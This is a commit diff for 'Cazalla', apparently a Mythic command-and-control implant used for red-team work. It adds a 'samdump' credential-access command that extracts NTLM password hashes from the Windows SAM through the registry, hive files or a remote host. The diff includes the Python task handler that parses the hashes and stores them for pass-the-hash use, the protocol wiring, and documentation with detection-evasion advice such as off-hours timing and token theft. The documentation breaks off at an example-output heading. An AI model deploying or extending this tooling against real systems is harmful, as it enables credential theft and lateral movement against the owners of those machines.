SamDump implemented

Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile

@@ -3,8 +3,8 @@ CC = x86_64-w64-mingw32-gcc
 
 # Base flags
 CFLAGS = -Wall -w -IInclude
-LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32 -mwindows
+LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32 -lntdll -mwindows
-LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32
+LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -lcrypt32 -lncrypt -lole32 -lshell32 -lntdll
 
 # Debug parameters (can be overridden from command line)
 # DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4

Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c

@@ -183,6 +183,10 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
             _inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
             DumparNavegador(analizadorTarea);
             _inf("===== BROWSER_DUMP_CMD COMPLETED =====");
+        } else if (tarea == SAMDUMP_CMD) {
+            _inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea);
+            SamDumpHandler(analizadorTarea);
+            _inf("===== SAMDUMP_CMD COMPLETED =====");
         } else if (tarea == INLINE_EXECUTE_CMD) {
             _inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
             InlineExecuteHandler(analizadorTarea);

Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h

@@ -16,6 +16,7 @@
 #include "rpfwd_manager.h"
 #include "browser_info.h"
 #include "browser_dump.h"
+#include "samdump.h"
 #include "inline_execute.h"
 
 #define SHELL_CMD 0x54
@@ -64,6 +65,9 @@
 /* Browser dump command */
 #define BROWSER_DUMP_CMD  0x41
 
+/* SAM dump command */
+#define SAMDUMP_CMD  0x42
+
 /* BOF and Assembly execution commands */
 #define INLINE_EXECUTE_CMD        0x70
 #define INLINE_EXECUTE_ASSEMBLY_CMD 0x71

Payload_Type/cazalla/cazalla/agent_code/cazalla/samdump.h

@@ -0,0 +1,15 @@
+#pragma once
+
+#ifndef SAMDUMP_H
+#define SAMDUMP_H
+
+#include "analizador.h"
+#include "paquete.h"
+
+// SAM dump command code (must match translator)
+#define SAMDUMP_CMD  0x42
+
+// Forward declarations
+VOID SamDumpHandler(PAnalizador argumentos);
+
+#endif

Payload_Type/cazalla/cazalla/agent_functions/samdump.py

@@ -0,0 +1,346 @@
+from mythic_container.MythicCommandBase import *
+from mythic_container.MythicRPC import *
+import json
+import re
+import asyncio
+
+
+class SamDumpArguments(TaskArguments):
+    def __init__(self, command_line, **kwargs):
+        super().__init__(command_line, **kwargs)
+        self.args = [
+            CommandParameter(
+                name="method",
+                cli_name="method",
+                display_name="Dump Method",
+                type=ParameterType.ChooseOne,
+                choices=["registry", "files", "remote"],
+                default_value="registry",
+                description="Method to use for SAM dump: registry (default, local registry), files (from SAM/SYSTEM files), or remote (remote system)",
+                parameter_group_info=[
+                    ParameterGroupInfo(
+                        required=True,
+                        group_name="Default",
+                        ui_position=1
+                    )
+                ]
+            ),
+            CommandParameter(
+                name="sam_path",
+                cli_name="sam_path",
+                display_name="SAM File Path",
+                type=ParameterType.String,
+                description="Path to SAM hive file (required when method=files). Example: C:\\Windows\\System32\\config\\SAM",
+                parameter_group_info=[
+                    ParameterGroupInfo(
+                        required=False,
+                        group_name="Default",
+                        ui_position=2
+                    )
+                ]
+            ),
+            CommandParameter(
+                name="system_path",
+                cli_name="system_path",
+                display_name="SYSTEM File Path",
+                type=ParameterType.String,
+                description="Path to SYSTEM hive file (required when method=files). Example: C:\\Windows\\System32\\config\\SYSTEM",
+                parameter_group_info=[
+                    ParameterGroupInfo(
+                        required=False,
+                        group_name="Default",
+                        ui_position=3
+                    )
+                ]
+            ),
+            CommandParameter(
+                name="remote_host",
+                cli_name="remote_host",
+                display_name="Remote Host",
+                type=ParameterType.String,
+                description="Remote system hostname or IP address (required when method=remote)",
+                parameter_group_info=[
+                    ParameterGroupInfo(
+                        required=False,
+                        group_name="Default",
+                        ui_position=4
+                    )
+                ]
+            ),
+            CommandParameter(
+                name="impersonate",
+                cli_name="impersonate",
+                display_name="Impersonate User",
+                type=ParameterType.Boolean,
+                default_value=False,
+                description="Whether to impersonate a user before dumping (for remote access). Only used when method=remote",
+                parameter_group_info=[
+                    ParameterGroupInfo(
+                        required=False,
+                        group_name="Default",
+                        ui_position=5
+                    )
+                ]
+            ),
+            CommandParameter(
+                name="username",
+                cli_name="username",
+                display_name="Username",
+                type=ParameterType.String,
+                description="Username for impersonation (required if impersonate=true and method=remote)",
+                parameter_group_info=[
+                    ParameterGroupInfo(
+                        required=False,
+                        group_name="Default",
+                        ui_position=6
+                    )
+                ]
+            ),
+            CommandParameter(
+                name="password",
+                cli_name="password",
+                display_name="Password",
+                type=ParameterType.String,
+                description="Password for impersonation (required if impersonate=true and method=remote)",
+                parameter_group_info=[
+                    ParameterGroupInfo(
+                        required=False,
+                        group_name="Default",
+                        ui_position=7
+                    )
+                ]
+            ),
+        ]
+
+    async def parse_arguments(self):
+        # Parse command line arguments if provided
+        if len(self.command_line) > 0:
+            # Check if command_line is JSON
+            if self.command_line.strip().startswith('{'):
+                try:
+                    json_args = json.loads(self.command_line)
+                    # Load from JSON dictionary
+                    self.load_args_from_dictionary(json_args)
+                    return
+                except json.JSONDecodeError:
+                    # Not valid JSON, try parsing as space-separated arguments
+                    pass
+            
+            # Parse as space-separated arguments
+            parts = self.command_line.split()
+            if len(parts) > 0:
+                method = parts[0].lower()
+                if method in ["registry", "files", "remote"]:
+                    self.add_arg("method", method)
+                else:
+                    raise ValueError(f"Invalid method: {method}. Must be 'registry', 'files', or 'remote'")
+                
+                # Parse additional arguments based on method
+                if method == "files" and len(parts) >= 3:
+                    self.add_arg("sam_path", parts[1])
+                    self.add_arg("system_path", parts[2])
+                elif method == "remote" and len(parts) >= 2:
+                    self.add_arg("remote_host", parts[1])
+                    if len(parts) >= 4:
+                        self.add_arg("impersonate", True)
+                        self.add_arg("username", parts[2])
+                        self.add_arg("password", parts[3])
+
+    async def parse_dictionary(self, dictionary_arguments):
+        self.load_args_from_dictionary(dictionary_arguments)
+        
+        # Validate required parameters based on method
+        method = self.get_arg("method") or "registry"
+        
+        # For "files" method, both paths are required
+        if method == "files":
+            if not self.get_arg("sam_path"):
+                raise ValueError("sam_path is required when method=files")
+            if not self.get_arg("system_path"):
+                raise ValueError("system_path is required when method=files")
+        
+        # For "remote" method, remote_host is required
+        if method == "remote":
+            if not self.get_arg("remote_host"):
+                raise ValueError("remote_host is required when method=remote")
+            # username and password are optional - only needed if impersonate=true
+            if self.get_arg("impersonate"):
+                if not self.get_arg("username") or not self.get_arg("password"):
+                    raise ValueError("username and password are required when impersonate=true")
+
+
+class SamDumpCommand(CommandBase):
+    cmd = "samdump"
+    needs_admin = True  # Requires SYSTEM privileges to access SAM
+    help_cmd = "samdump"
+    description = "Dump local account password hashes from the Security Account Manager (SAM) database. Extracts NTLM hashes for all local users. Requires SYSTEM privileges. Automatically reports extracted hashes to Mythic's credential store. HIGH OPSEC RISK: Accessing the SAM database is heavily monitored by EDR/XDR solutions and is a primary indicator of credential theft attacks."
+    version = 1
+    author = "Kaseya OFSTeam"
+    attackmapping = ["T1003.002", "T1003.001"]
+    argument_class = SamDumpArguments
+    attributes = CommandAttributes(
+        supported_os=[SupportedOS.Windows]
+    )
+
+    async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
+        """
+        OPSEC check before creating the task.
+        SAM database access is highly detectable.
+        """
+        message = "🚨 HIGH OPSEC RISK - SAM Database Access\n\n"
+        message += "This command will:\n"
+        message += "  • Access the Security Account Manager (SAM) database\n"
+        message += "  • Read encrypted password hashes (NTLM)\n"
+        message += "  • Extract hashes for all local user accounts\n"
+        message += "  • Report extracted hashes to Mythic's credential store\n\n"
+        
+        message += "🔍 DETECTION RISKS:\n"
+        message += "  • EDR/XDR solutions monitor SAM database access\n"
+        message += "  • Registry access to HKEY_LOCAL_MACHINE\\SAM triggers alerts\n"
+        message += "  • Credential theft detection rules (MITRE T1003.002)\n"
+        message += "  • Behavioral analysis detects credential extraction patterns\n"
+        message += "  • Security tools flag SAM access as high-priority indicator\n\n"
+        
+        message += "⚠️ HIGH DETECTION PROBABILITY:\n"
+        message += "  • SAM access is a primary indicator of attack\n"
+        message += "  • Many security tools have specific rules for this activity\n"
+        message += "  • Registry access patterns are logged and monitored\n"
+        message += "  • Detection is likely within minutes\n\n"
+        
+        message += "💡 CONSIDERATIONS:\n"
+        message += "  • Requires SYSTEM privileges (use steal_token on SYSTEM process)\n"
+        message += "  • This activity is commonly detected within minutes\n"
+        message += "  • Consider timing (off-hours may reduce detection)\n"
+        message += "  • Ensure you have proper authorization\n"
+        message += "  • Alternative: Use Mimikatz or other tools via inline_execute_assembly\n\n"
+        
+        message += "✅ This command requires approval from another operator."
+        
+        return PTTTaskOPSECPreTaskMessageResponse(
+            TaskID=taskData.Task.ID,
+            Success=True,
+            OpsecPreBlocked=True,  # Block by default
+            OpsecPreBypassRole="other_operator",  # Requires another operator to approve
+            OpsecPreMessage=message
+        )
+
+    async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
+        """
+        OPSEC check after creating the task.
+        Warns about artifacts that will be created.
+        """
+        message = "🚨 OPSEC POST-CHECK - SAM Database Access Artifacts\n\n"
+        message += "This task will create the following artifacts:\n"
+        message += "  • Registry Read: HKEY_LOCAL_MACHINE\\SAM access\n"
+        message += "  • Registry Read: HKEY_LOCAL_MACHINE\\SYSTEM access (for boot key)\n"
+        message += "  • Credential Access: SAM database enumeration\n"
+        message += "  • Credential Extraction: NTLM hashes reported to Mythic\n\n"
+        
+        message += "🔍 DETECTION RISKS:\n"
+        message += "  • EDR/XDR registry access monitoring\n"
+        message += "  • Credential theft detection rules (MITRE T1003.002)\n"
+        message += "  • Behavioral analysis (credential extraction patterns)\n"
+        message += "  • Registry access auditing (if enabled)\n\n"
+        
+        message += "⚠️ CRITICAL DETECTION PROBABILITY:\n"
+        message += "  • SAM access is heavily monitored\n"
+        message += "  • Detection is likely within minutes\n"
+        message += "  • Multiple security layers may trigger alerts\n\n"
+        
+        message += "✅ This is a FINAL WARNING - task will proceed if approved.\n"
+        message += "Ensure you understand the detection risks before continuing."
+        
+        return PTTTaskOPSECPostTaskMessageResponse(
+            TaskID=taskData.Task.ID,
+            Success=True,
+            OpsecPostBlocked=False,  # Don't block, just warn
+            OpsecPostBypassRole="operator",
+            OpsecPostMessage=message
+        )
+
+    async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
+        response = PTTaskCreateTaskingMessageResponse(
+            TaskID=taskData.Task.ID,
+            Success=True,
+        )
+        
+        method = taskData.args.get_arg("method") or "registry"
+        display_params = f"Dumping SAM database via {method}"
+        
+        if method == "files":
+            sam_path = taskData.args.get_arg("sam_path")
+            system_path = taskData.args.get_arg("system_path")
+            display_params += f" (SAM: {sam_path}, SYSTEM: {system_path})"
+        elif method == "remote":
+            remote_host = taskData.args.get_arg("remote_host")
+            display_params += f" (Remote: {remote_host})"
+            if taskData.args.get_arg("impersonate"):
+                username = taskData.args.get_arg("username")
+                display_params += f" (Impersonating: {username})"
+        
+        response.DisplayParams = display_params
+        return response
+
+    async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
+        """
+        Process response from agent.
+        The response contains SAM dump output with NTLM hashes.
+        Extract hashes and report them to Mythic's credential store.
+        """
+        resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
+        
+        if not response:
+            return resp
+        
+        # Parse the response to extract NTLM hashes
+        response_text = str(response)
+        
+        # Pattern to match NTLM hashes: username:RID:LM:NTLM
+        # Format: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+        hash_pattern = r'([^:]+):(\d+):([a-fA-F0-9]{32}|):([a-fA-F0-9]{32}|):'
+        
+        hashes_found = []
+        for match in re.finditer(hash_pattern, response_text):
+            username = match.group(1).strip()
+            rid = match.group(2)
+            lm_hash = match.group(3) if match.group(3) else None
+            ntlm_hash = match.group(4) if match.group(4) else None
+            
+            # Only report if we have at least one hash
+            if ntlm_hash and ntlm_hash != "aad3b435b51404eeaad3b435b51404ee":  # Empty hash
+                hashes_found.append({
+                    "username": username,
+                    "rid": rid,
+                    "lm_hash": lm_hash if lm_hash and lm_hash != "aad3b435b51404eeaad3b435b51404ee" else None,
+                    "ntlm_hash": ntlm_hash
+                })
+        
+        # Report credentials to Mythic
+        for hash_data in hashes_found:
+            try:
+                # Format: username:rid:lm_hash:ntlm_hash
+                credential_string = f"{hash_data['username']}:{hash_data['rid']}:"
+                if hash_data['lm_hash']:
+                    credential_string += f"{hash_data['lm_hash']}:"
+                else:
+                    credential_string += ":"
+                credential_string += f"{hash_data['ntlm_hash']}"
+                
+                # Create credential in Mythic
+                await SendMythicRPCCredentialCreate(MythicRPCCredentialCreateMessage(
+                    TaskID=task.Task.ID,
+                    Credentials=[
+                        MythicRPCCredentialCreateData(
+                            account=hash_data['username'],
+                            realm="",  # Local account, no domain
+                            credential=credential_string,
+                            credential_type="hash",  # NTLM hash
+                            metadata=f"RID: {hash_data['rid']}, LM Hash: {hash_data['lm_hash'] if hash_data['lm_hash'] else 'N/A'}"
+                        )
+                    ]
+                ))
+            except Exception as e:
+                # Log error but continue processing other hashes
+                pass
+        
+        return resp

Payload_Type/cazalla/translator/commands_from_c2.py

@@ -34,6 +34,8 @@ commands = {
     "browser_info": {"hex_code": 0x40, "input_type": None},
     # Browser dump command
     "browser_dump": {"hex_code": 0x41, "input_type": "string"},
+    # SAM dump command
+    "samdump": {"hex_code": 0x42, "input_type": "string"},
     # Added SOCKS control commands
     "start_socks": {"hex_code": 0x60, "input_type": "int"},
     "stop_socks": {"hex_code": 0x61, "input_type": None},
@@ -148,6 +150,53 @@ def responseTasking(tasks):
                         file_path = file_path.rstrip('\x00')
                         parameters["file"] = file_path
                         print(f"[DEBUG] Normalized file path for {command_to_run}: {repr(file_path)}")
+                
+                # Special handling for samdump: send parameters in fixed order
+                if command_to_run == "samdump":
+                    method = parameters.get("method", "registry")
+                    # Always send method first
+                    method_str = str(method) if method else "registry"
+                    nbArgs = 1  # Start with method
+                    
+                    # Build parameter list in fixed order
+                    param_list = [method_str]
+                    
+                    if method == "files":
+                        # sam_path and system_path are optional - will try common paths
+                        sam_path = parameters.get("sam_path", "")
+                        system_path = parameters.get("system_path", "")
+                        if sam_path:
+                            param_list.append(str(sam_path))
+                            nbArgs += 1
+                        if system_path:
+                            param_list.append(str(system_path))
+                            nbArgs += 1
+                    elif method == "remote":
+                        # remote_host is required
+                        remote_host = parameters.get("remote_host", "")
+                        if remote_host:
+                            param_list.append(str(remote_host))
+                            nbArgs += 1
+                        
+                        # username and password are optional (only if impersonate=true)
+                        impersonate = parameters.get("impersonate", False)
+                        if impersonate:
+                            username = parameters.get("username", "")
+                            password = parameters.get("password", "")
+                            if username:
+                                param_list.append(str(username))
+                                nbArgs += 1
+                            if password:
+                                param_list.append(str(password))
+                                nbArgs += 1
+                    
+                    data += nbArgs.to_bytes(4, "big")
+                    for param_value in param_list:
+                        param_str = str(param_value) if param_value else ""
+                        data += len(param_str).to_bytes(4, "big")
+                        data += param_str.encode()
+                else:
+                    # Original format for other commands
                     data += len(parameters).to_bytes(4,"big")
                     for param in parameters:
                         param_value = parameters[param]

Payload_Type/cazalla/translator/commands_from_implant.py

@@ -377,10 +377,15 @@ def postResponse(data):
     # UUID pattern is very distinctive: 8 hex chars, dash, 4 hex, dash, 4 hex, dash, 4 hex, dash, 12 hex
     # If we find a valid UUID pattern, it takes precedence over length interpretation
     # Try at offset 0 first
+    print(f"[DEBUG] Buscando UUID en data de {len(data)} bytes")
+    print(f"[DEBUG] Primeros 72 bytes (hex): {data[:72].hex() if len(data) >= 72 else data.hex()}")
+    print(f"[DEBUG] Primeros 72 bytes (repr): {repr(data[:72]) if len(data) >= 72 else repr(data)}")
+    
     if len(data) >= 36:
         potential_uuid = data[0:36]
         try:
             uuid_str = potential_uuid.decode('ascii', errors='replace')
+            print(f"[DEBUG] Intentando UUID en offset 0: '{uuid_str}'")
             # Check if it looks like a UUID (format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)
             # UUID pattern: 8 hex, dash, 4 hex, dash, 4 hex, dash, 4 hex, dash, 12 hex
             # Also check that the hyphens are at the correct positions
@@ -410,14 +415,25 @@ def postResponse(data):
     if not uuidTask and len(data) >= 72:
         potential_uuid = data[36:72]
         try:
-            uuid_str = potential_uuid.decode('ascii')
+            uuid_str = potential_uuid.decode('ascii', errors='replace')
+            print(f"[DEBUG] Intentando UUID en offset 36: '{uuid_str}'")
             if (len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and 
                 uuid_str[18] == '-' and uuid_str[23] == '-' and
                 all(c in '0123456789abcdefABCDEF-' for c in uuid_str)):
+                # Additional validation
+                is_valid_uuid = (
+                    all(c in '0123456789abcdefABCDEF' for c in uuid_str[0:8]) and
+                    all(c in '0123456789abcdefABCDEF' for c in uuid_str[9:13]) and
+                    all(c in '0123456789abcdefABCDEF' for c in uuid_str[14:18]) and
+                    all(c in '0123456789abcdefABCDEF' for c in uuid_str[19:23]) and
+                    all(c in '0123456789abcdefABCDEF' for c in uuid_str[24:36])
+                )
+                if is_valid_uuid:
                     uuidTask = potential_uuid
                     offset = 72
                     print(f"[DEBUG] UUID de tarea detectado en offset 36: {uuid_str}")
-        except:
+        except Exception as e:
+            print(f"[DEBUG] Error al validar UUID en offset 36: {e}")
             pass
     
     # If still not found, check if data starts with a reasonable length

Payload_Type/cazalla/translator/translator.py

@@ -413,10 +413,42 @@ class cazalla_translator(TranslationContainer):
         print(f"[TRANSLATOR] Received message length: {len(inputMsg.Message)} bytes")
         
         # Decrypt if encryption is enabled (agent encrypts before sending)
+        # Format: Base64(UUID_agente(36) + AES256(...))
         data = inputMsg.Message
         if self._crypto_type == "aes256_hmac" and self._enc_key:
             print("[TRANSLATOR] Decrypting message from agent...")
+            print(f"[TRANSLATOR] Message length before decryption: {len(data)} bytes")
             try:
+                # Extract agent UUID (first 36 bytes) if present
+                # The agent sends: Base64(UUID_agente + AES256(POST_RESPONSE + UUID_tarea + ...))
+                # After Base64 decode, we have: UUID_agente + [IV][Ciphertext][HMAC]
+                if len(data) >= 36:
+                    # Check if first 36 bytes look like a UUID (ASCII hex with dashes)
+                    potential_uuid = data[:36]
+                    try:
+                        uuid_str = potential_uuid.decode('ascii', errors='replace')
+                        # Simple check: UUID format has dashes at positions 8, 13, 18, 23
+                        if (len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and 
+                            uuid_str[18] == '-' and uuid_str[23] == '-'):
+                            # This looks like a UUID, extract it
+                            agent_uuid = data[:36]
+                            encrypted_data = data[36:]
+                            print(f"[TRANSLATOR] Extracted agent UUID: {agent_uuid.decode('ascii', errors='replace')}")
+                            print(f"[TRANSLATOR] Encrypted data length: {len(encrypted_data)} bytes")
+                            data = self.aes256_decrypt(encrypted_data)
+                            print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes")
+                        else:
+                            # Doesn't look like UUID, try decrypting the whole thing
+                            print("[TRANSLATOR] First 36 bytes don't look like UUID, trying to decrypt whole message")
+                            data = self.aes256_decrypt(data)
+                            print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes")
+                    except Exception as uuid_e:
+                        print(f"[TRANSLATOR] Error checking for UUID: {uuid_e}, trying to decrypt whole message")
+                        data = self.aes256_decrypt(data)
+                        print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes")
+                else:
+                    # Message too short, try decrypting anyway
+                    print("[TRANSLATOR] Message too short for UUID extraction, trying to decrypt")
                     data = self.aes256_decrypt(data)
                     print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes")
             except Exception as e:

README.md

@@ -209,6 +209,7 @@ For more information, see the [Mythic documentation on customizing public agents
 | `ps` | List running processes with Process Browser support | `ps` |
 | `browser_info` | Identify installed browsers and default browser | `browser_info` |
 | `browser_dump` | Dump cookies (display only), passwords, and bookmarks from browsers (Chrome, Firefox) | `browser_dump chrome` |
+| `samdump` | Dump NTLM password hashes from SAM database (registry/files/remote methods) | `samdump [method] [params]` |
 | `screenshot` | Capture full-screen screenshot (Mythic screenshot UI) | `screenshot` |
 | `keylog_start` | Start keystroke logging | `keylog_start` |
 | `keylog_stop` | Stop keystroke logging | `keylog_stop` |

documentation-payload/Cazalla/_index.md

@@ -48,10 +48,11 @@ Cazalla provides essential post-exploitation capabilities including:
 - `socks` - Start/stop SOCKS5 proxy
 - `rpfwd` - Start/stop reverse port forwarding
 
-### System Operations (6 commands)
+### System Operations (7 commands)
 - `shell` - Execute shell commands
 - `browser_info` - Identify installed browsers
 - `browser_dump` - Dump browser credentials
+- `samdump` - Dump SAM database (NTLM hashes)
 - `screenshot` - Capture desktop screenshot
 - `keylog_start` - Start keylogger
 - `keylog_stop` - Stop keylogger

documentation-payload/Cazalla/commands.md

@@ -1154,6 +1154,83 @@ browser_dump firefox
 
 ---
 
+### `samdump` - Dump SAM Database
+
+Extract NTLM password hashes from the Security Account Manager (SAM) database using multiple methods.
+
+**Syntax:**
+```
+samdump [method] [method-specific-parameters]
+```
+
+**Methods:**
+
+1. **Registry (Default)** - Direct registry access
+   ```
+   samdump
+   samdump registry
+   ```
+   - **OPSEC Risk**: CRITICAL
+   - **Requires**: SYSTEM privileges
+   - **Detection**: Very high (minutes)
+
+2. **Files** - From SAM/SYSTEM files
+   ```
+   samdump files <sam_path> <system_path>
+   ```
+   - **OPSEC Risk**: MEDIUM-HIGH
+   - **Requires**: SYSTEM or backup/restore privileges
+   - **Detection**: Medium-High (hours to days)
+   - **Example**: `samdump files C:\Windows\System32\config\SAM C:\Windows\System32\config\SYSTEM`
+
+3. **Remote** - Remote registry access
+   ```
+   samdump remote <remote_host> [username] [password]
+   ```
+   - **OPSEC Risk**: HIGH
+   - **Requires**: Network access, ability to start Remote Registry service
+   - **Detection**: High (minutes to hours)
+   - **Example**: `samdump remote \\TARGET-PC`
+
+**Features:**
+- **Multiple Access Methods**: Registry, files, or remote access
+- **Local Account Enumeration**: Extracts hashes for all local user accounts
+- **NTLM Hash Extraction**: Retrieves both LM and NTLM hashes (when available)
+- **Automatic Credential Reporting**: Automatically reports extracted hashes to Mythic
+- **RID Extraction**: Includes Relative Identifier (RID) for each account
+- **Artifact Tracking**: Reports registry access, file access, or network connections
+
+**Output:**
+```
+Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
+user:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bd830b7586c5:::
+```
+
+**OPSEC Considerations:**
+
+| Method | Risk | Detection | Best Use Case |
+|--------|------|-----------|---------------|
+| **Registry** | CRITICAL | Very High (minutes) | Default method, highest detection risk |
+| **Files** | MEDIUM-HIGH | Medium-High (hours-days) | Offline analysis, backup files |
+| **Remote** | HIGH | High (minutes-hours) | Remote systems, network access |
+
+- **Registry Method**: Direct SAM/SYSTEM registry access is heavily monitored, requires SYSTEM privileges, always requires approval
+- **Files Method**: Lower detection profile, useful for offline analysis, still requires privileged access
+- **Remote Method**: Network traffic detectable, service manipulation logged, use only when local access not possible
+- **General**: Always use `steal_token` on SYSTEM process first (for registry/files), consider timing, always requires approval
+
+**Technical Details:**
+- **Registry**: Accesses `HKEY_LOCAL_MACHINE\SAM` and `HKEY_LOCAL_MACHINE\SYSTEM` registry hives
+- **Files**: Uses `RegLoadKey` to load SAM/SYSTEM hives from disk
+- **Remote**: Connects to remote registry via `RegConnectRegistry`, starts Remote Registry service if needed
+- Extracts boot key from SYSTEM hive to decrypt password hashes
+- Output format: `username:RID:LM:NTLM:::`
+
+**Related:** [Token Operations](#token-operations), [Credentials Support](features.md#credentials-support), [Detailed Documentation](commands/samdump.md)
+
+---
+
 ## Control Commands
 
 ### `sleep` - Adjust Beacon Interval

documentation-payload/Cazalla/commands/README.md

@@ -41,6 +41,10 @@ Complete documentation for all Cazalla agent commands, organized by category.
 - [`keylog_start`](keylog_start.md) - Start keylogger
 - [`keylog_stop`](keylog_stop.md) - Stop keylogger
 
+## Credential Access
+
+- [`samdump`](samdump.md) - Dump SAM database (NTLM hashes)
+
 ## Code Execution
 
 - [`inline_execute`](inline_execute.md) - Execute Beacon Object Files (BOFs)

documentation-payload/Cazalla/commands/samdump.md

@@ -0,0 +1,365 @@
+# samdump - Dump SAM Database
+
+Extract NTLM password hashes from the Security Account Manager (SAM) database using multiple methods.
+
+## Description
+
+The `samdump` command extracts encrypted password hashes (NTLM) from the Windows SAM database for all local user accounts. It supports three different methods for accessing the SAM database, each with different privilege requirements and OPSEC considerations.
+
+**Important:** Extracted hashes are automatically reported to Mythic's credential store for use in pass-the-hash attacks.
+
+## Syntax
+
+```
+samdump [method] [method-specific-parameters]
+```
+
+## Methods
+
+The command supports three methods for dumping the SAM database:
+
+### 1. Registry Method (Default)
+
+Accesses the SAM database directly through the Windows registry. This is the default method.
+
+**Syntax:**
+```
+samdump registry
+```
+
+**Parameters:**
+- No additional parameters required
+
+**Privileges Required:**
+- **SYSTEM privileges** (use `steal_token` on SYSTEM process first)
+- Alternative: `SeBackupPrivilege` with `NtOpenKeyEx` (Windows 7+)
+
+**OPSEC Risk:** **CRITICAL**
+- Direct registry access to SAM/SYSTEM hives is heavily monitored
+- EDR/XDR solutions have specific detection rules for this activity
+- Detection likely within minutes
+- High behavioral analysis risk
+
+**Best Practices:**
+- Always use `steal_token` on SYSTEM process before execution
+- Consider off-hours execution
+- Always requires approval from another operator
+- Consider alternative methods for different detection signatures
+
+### 2. Files Method
+
+Loads SAM and SYSTEM hive files from disk and extracts hashes from the loaded hives.
+
+**Syntax:**
+```
+samdump files <sam_path> <system_path>
+```
+
+**Parameters:**
+- `sam_path` (required): Full path to SAM hive file
+  - Example: `C:\Windows\System32\config\SAM`
+  - Example: `C:\Temp\SAM.backup`
+- `system_path` (required): Full path to SYSTEM hive file
+  - Example: `C:\Windows\System32\config\SYSTEM`
+  - Example: `C:\Temp\SYSTEM.backup`
+
+**Privileges Required:**
+- **SYSTEM privileges** OR
+- `SeBackupPrivilege` and `SeRestorePrivilege` (for `RegLoadKey`)
+
+**OPSEC Risk:** **MEDIUM-HIGH**
+- File access is less monitored than direct registry access
+- Still requires privileged access to load hives
+- File read operations may be logged
+- Lower detection rate than registry method, but still detectable
+- Useful when you have offline copies of SAM/SYSTEM files
+
+**Best Practices:**
+- Use when you have access to SAM/SYSTEM files from backups or offline systems
+- Lower detection profile than registry method
+- Still requires SYSTEM or backup/restore privileges
+- File access logs may be monitored
+
+**Example:**
+```
+samdump files C:\Windows\System32\config\SAM C:\Windows\System32\config\SYSTEM
+```
+
+### 3. Remote Method
+
+Connects to a remote system's registry and extracts SAM hashes over the network.
+
+**Syntax:**
+```
+samdump remote <remote_host> [username] [password]
+```
+
+**Parameters:**
+- `remote_host` (required): Remote system hostname or IP address
+  - Example: `\\TARGET-PC`
+  - Example: `192.168.1.100`
+- `username` (optional): Username for authentication (required if impersonating)
+  - Can include domain: `DOMAIN\user` or `user@domain.com`
+- `password` (optional): Password for authentication (required if impersonating)
+
+**Privileges Required:**
+- Network access to remote system
+- Ability to start Remote Registry service on target
+- Valid credentials (if impersonating) with appropriate permissions
+
+**OPSEC Risk:** **HIGH**
+- Network traffic (RPC calls to Remote Registry service)
+- Service manipulation (starting Remote Registry service)
+- Registry access over network is monitored
+- Authentication attempts may be logged
+- Network-based detection is possible
+- Higher visibility than local methods
+
+**Best Practices:**
+- Use only when local access is not possible
+- Ensure Remote Registry service can be started (may require admin rights)
+- Network traffic is detectable by network monitoring tools
+- Authentication attempts are logged
+- Consider using existing authenticated sessions when possible
+- Higher detection risk due to network activity
+
+**Example:**
+```
+samdump remote \\TARGET-PC
+samdump remote 192.168.1.100 DOMAIN\admin P@ssw0rd123
+```
+
+## Examples
+
+### Local Registry Access (Default)
+```
+samdump
+samdump registry
+```
+
+### From Files
+```
+samdump files C:\Windows\System32\config\SAM C:\Windows\System32\config\SYSTEM
+samdump files C:\Backup\SAM C:\Backup\SYSTEM
+```
+
+### Remote Access
+```
+samdump remote \\WORKSTATION-01
+samdump remote 192.168.1.50
+samdump remote \\SERVER-01 DOMAIN\admin Password123
+```
+
+## Features
+
+- **Multiple Access Methods**: Registry, files, or remote access
+- **Local Account Enumeration**: Extracts hashes for all local user accounts
+- **NTLM Hash Extraction**: Retrieves both LM and NTLM hashes (when available)
+- **Automatic Credential Reporting**: Automatically reports extracted hashes to Mythic
+- **RID Extraction**: Includes Relative Identifier (RID) for each account
+- **Artifact Tracking**: Reports registry access, file access, or network connections
+
+## Output
+
+The command outputs hashes in the standard format:
+
+```
+username:RID:LM:NTLM:::
+```
+
+### Example Output
+
+```
